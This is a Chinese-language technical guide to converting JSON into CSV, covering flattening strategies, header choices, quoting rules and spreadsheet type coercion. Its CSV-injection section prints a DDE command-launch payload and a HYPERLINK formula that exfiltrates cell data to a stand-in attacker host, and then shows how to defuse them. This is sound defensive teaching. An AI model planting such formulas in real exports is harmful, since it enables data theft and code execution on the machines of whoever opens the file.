发布于
表格只有两个维度,JSON 的维度是任意的。所以每一次 JSON 转 CSV 都是一次会丢信息的投影,唯一真正的问题是:你有没有主动选择丢掉哪些信息。本文讲三种展平策略、决定文件能否存活的引号规则,以及电子表格在打开结果之后会怎样悄悄改写你的数据。
同一份文档的三种展平策略
索引展开给数组的每个元素一列。它是无损的,也是唯一能无歧义保留元素顺序的策略;但列数由整个文件里最长的那个数组决定,一条离群记录就能加出五十个在别处全空的列。适用场景:数组短且有界 —— 一组固定的分数、一对坐标。
拼接把数组折叠进一个单元格,用分隔符连接。它让列数保持稳定、文件保持可读,是面向人的导出的常见默认。代价是这个单元格现在是一个字符串,读的人还得再拆一次;而且只要有任何一个元素本身含有这个分隔符,拆分就不可恢复。请选一个数据里不可能出现的分隔符,并在文件名或表头行里说明你选的是哪个。
炸开为数组的每个元素输出一行,标量列重复填充。这是规范化、对数据库友好的答案,也是分析场景的正解。注意它引入的歧义:数组为空的记录,要么整条消失,要么产生一行空值,两种选择的行数不同。请显式指定你想要的语义,而不是接受工具的默认行为。
输入
[
{ "id": 1, "user": { "name": "Ada", "email": "[email protected]" }, "tags": ["beta", "eu"] },
{ "id": 2, "user": { "name": "Lin" }, "tags": [] }
]
A. 索引展开 —— 数组每个位置一列
id,user.name,user.email,tags.0,tags.1
1,Ada,[email protected],beta,eu
2,Lin,,,
B. 拼接 —— 数组变成一个加引号的单元格
id,user.name,user.email,tags
1,Ada,[email protected],"beta,eu"
2,Lin,,
C. 炸开 —— 每个元素一行,标量重复
id,user.name,user.email,tag
1,Ada,[email protected],beta
1,Ada,[email protected],eu
2,Lin,,
行数不同:A 和 B 有 2 行数据,C 有 3 行 —— 而 C 的第三行
只有在你决定「空数组也要输出一行」时才存在。表头问题
CSV 只有一行表头,所以转换器必须在写出任何内容之前就确定唯一的列集合。面对异构记录,诚实的选项只有两个:扫描全部输入、取所有出现过的键的并集,或者取第一条记录的键、其余丢弃。工具的做法各不相同,而这个差异是无声的。
取并集是正确的,但有实际代价 —— 它要求读完整份文档才能输出第一行,因此排除了超大输入的流式处理。它还会产生稀疏表:如果一万条记录里有一条带 `debug.trace` 字段,其余每一行在这一列都会是空的。这不算错,但看到一列 99.99% 为空的评审者,有理由认为这份导出坏了。
取第一条记录的做法流式友好,但会无声丢数据。如果第一条记录没有 `user.email` 而第二条有,那么 email 这一列永远不会出现。凡是转换不是你自己生成的文件,在信任输出之前,请手动抽查几条靠后的记录、核对列数。
| 决策点 | 选项 | 适合 | 代价 |
|---|---|---|---|
| 嵌套对象 | 点分路径(`user.name`) | 几乎所有场景,近乎通用约定 | 键名里本来就有点号时会产生歧义 |
| 数组 | 索引列(`tags.0`) | 短且有界的数组 | 列数由文件中最长的数组决定 |
| 数组 | 拼接进一个单元格 | 人工评审、电子表格 | 元素内含分隔符时不可恢复 |
| 数组 | 炸开成多行 | 数据库、分析、透视表 | 标量列被复制;空数组语义有歧义 |
| 表头集合 | 所有键的并集 | 正确性 | 需要完整扫描一遍;产生稀疏列 |
| 表头集合 | 第一条记录的键 | 超大文件流式处理 | 无声丢弃后面出现的字段 |
| 缺失的键 | 空单元格 | 几乎总是如此 | 与空字符串、`null` 无法区分 |
| `null` 值 | 空单元格,或一个字面标记 | 取决于消费方 | CSV 没有 null,两种选择都会丢信息 |
引号、分隔符与行尾
RFC 4180 很短,值得背下来,因为大多数坏掉的 CSV 文件恰好只违反了其中一条。当字段含有分隔符、双引号或换行时,用双引号把它包起来。加引号字段内部的双引号要写两遍。字段前后的空格属于字段内容并被保留,这一点常让习惯性 trim 的人吃惊。严格读法下记录以 CRLF 结尾,不过几乎所有解析器都接受单独的 LF。
分隔符本身是跨语言环境最常见的破坏源。在用逗号作小数点的语言环境里 —— 欧洲大陆的大部分地区 —— Excel 写出和期待的都是分号分隔的文件,而一个真正逗号分隔的文件打开后会挤成一列。CSV 格式内部没有任何声明分隔符的方式;Excel 会识别开头的 `sep=;` 行,但那一行不属于 CSV 格式,别的解析器会把它当成数据读进去。如果两端都由你控制,输出制表符分隔可以直接绕开整场争论。
| 字段的值 | 文件里写成 | 原因 |
|---|---|---|
| `plain` | `plain` | 没有特殊字符,不需要加引号 |
| `Oslo, Norway` | "Oslo, Norway" | 含有分隔符 |
| `say "hi"` | "say ""hi""" | 加引号字段内部的引号要写两遍 |
| 含换行的值 | 跨两个物理行的加引号字段 | 换行在引号内部以字面形式保留 |
| ` padded ` | " padded " | 空格是有意义的,加引号把这一点说明确 |
| 空字符串 | 两个分隔符之间什么都不写 | 与「缺失值」无法区分 |
| `=1+1` | "=1+1" —— 依然危险 | 加引号并不能防御公式注入 |
CSV 注入是一个真实的漏洞
如果一份 CSV 会在 Excel、LibreOffice 或 Google 表格里打开,那么任何以 `=`、`+`、`-`、`@`、制表符或回车开头的单元格文本,都可能被当成公式而不是文本。这就把一份普通的数据导出变成了代码执行入口,因为电子表格的公式语言能伸到文档之外 —— `HYPERLINK` 可以把数据外传到某个 URL,而遗留的 DDE 语法曾被用来启动进程。
路径很平淡。用户在资料字段里填了 `=cmd|'/c calc'!A1`,管理员把用户列表导出成 CSV,管理员打开它,电子表格弹窗询问是否执行。导出过程没有任何异常,JSON 也没有任何格式问题。给字段加引号没有用,因为应用在解析单元格时会先剥掉引号,然后再检查文本。
所有缓解手段都在写入侧。给以触发字符开头的字段前面加一个单引号或空格,强制按文本解释,代价是改变了值本身。或者不写 CSV,改写真正的电子表格文件(XLSX),把单元格类型写死,歧义就彻底消失了。又或者,如果消费方是程序而不是人,直接输出 JSON Lines,跳过电子表格这一趟。
输入 JSON(name 字段来自用户输入)
[{ "id": 7, "name": "=HYPERLINK("https://attacker.example/?d"&A2,"Click")" }]
朴素的 CSV —— 引号完全正确,文件依然危险
id,name
7,"=HYPERLINK(""https://attacker.example/?d""&A2,""Click"")"
加一个撇号做无害化处理
id,name
7,"'=HYPERLINK(""https://attacker.example/?d""&A2,""Click"")"
需要在字段开头防守的触发字符:
= + - @ TAB (0x09) CR (0x0D)电子表格打开文件之后会怎样改你的值
CSV 不携带类型信息,所以每个消费方都在猜,而电子表格猜得很激进。破坏发生在打开的那一刻,在任何人编辑之前;如果文件被保存,破坏就写回去了。
前导零会被去掉,于是补零的商品编码或德国邮编变成了更短的整数。很长的数字串会切换成科学记数法,于是 19 位的订单号被显示并保存为 `1.23457E+18`,这是不可恢复的。像日期的值会按机器的语言环境被转换成日期,这就是为什么 `03/04/2026` 在伦敦和纽约指的是不同的日子,也是为什么一代遗传学家不得不给基因改名 —— Excel 把 `SEPT1` 变成了九月的某一天。以 `+` 开头的值可能被当成公式,于是国际电话号码被毁掉。
这件事没法从 CSV 这一侧修:格式里没有任何地方可以声明某一列是什么类型。你能做的是换一种有类型的格式。XLSX 按单元格存类型,Parquet 存 schema,JSON Lines 让数字保持数字、字符串保持字符串,一行一条记录,流式能力不比 CSV 差。如果对方确实需要一份电子表格,直接生成 XLSX,而不是要求他们小心翼翼地导入 CSV。
什么时候表格根本就是错误的形状
有些文档就不该被展平。递归结构 —— 评论树、文件系统、组织架构 —— 没有固定深度,因此不存在能覆盖它们的列集合。展平的结果要么是 `children.0.children.0.children.0.text` 这类列的爆炸,要么是某个单元格里塞着一段 JSON,两者都比原文更糟。
当你决定保留 JSON 时,抽取你需要的那部分,而不是转换整份文档。用一条 JSONPath 表达式从大响应里拉出一个结构一致的对象数组,通常就能得到干净可制表的东西;而且这样你选择的投影体现在查询里,而不是藏在转换器的默认行为中。
要点回顾
- 显式决定数组应该变成索引列、拼接单元格还是额外的行,因为三者产生的行数不同,适合的消费方也不同。
- 确认你的转换器是按所有键的并集构建表头,还是只看第一条记录 —— 后者会在毫无提示的情况下丢掉后面出现的字段。
- 对任何用户提供的字段,在开头处转义 `=`、`+`、`-`、`@`、制表符和回车;RFC 4180 的引号规则挡不住电子表格公式注入。
- 绝不要让标识符、补零编码和长数字经由 CSV 进入电子表格 —— 改用 XLSX、Parquet 或 JSON Lines,它们都携带类型。
- 如果文档是递归的、或者记录之间确实异构,就保留 JSON,只抽取你需要的那个结构一致的数组;一张几百列且大部分为空的表是失败的投影,不是导出。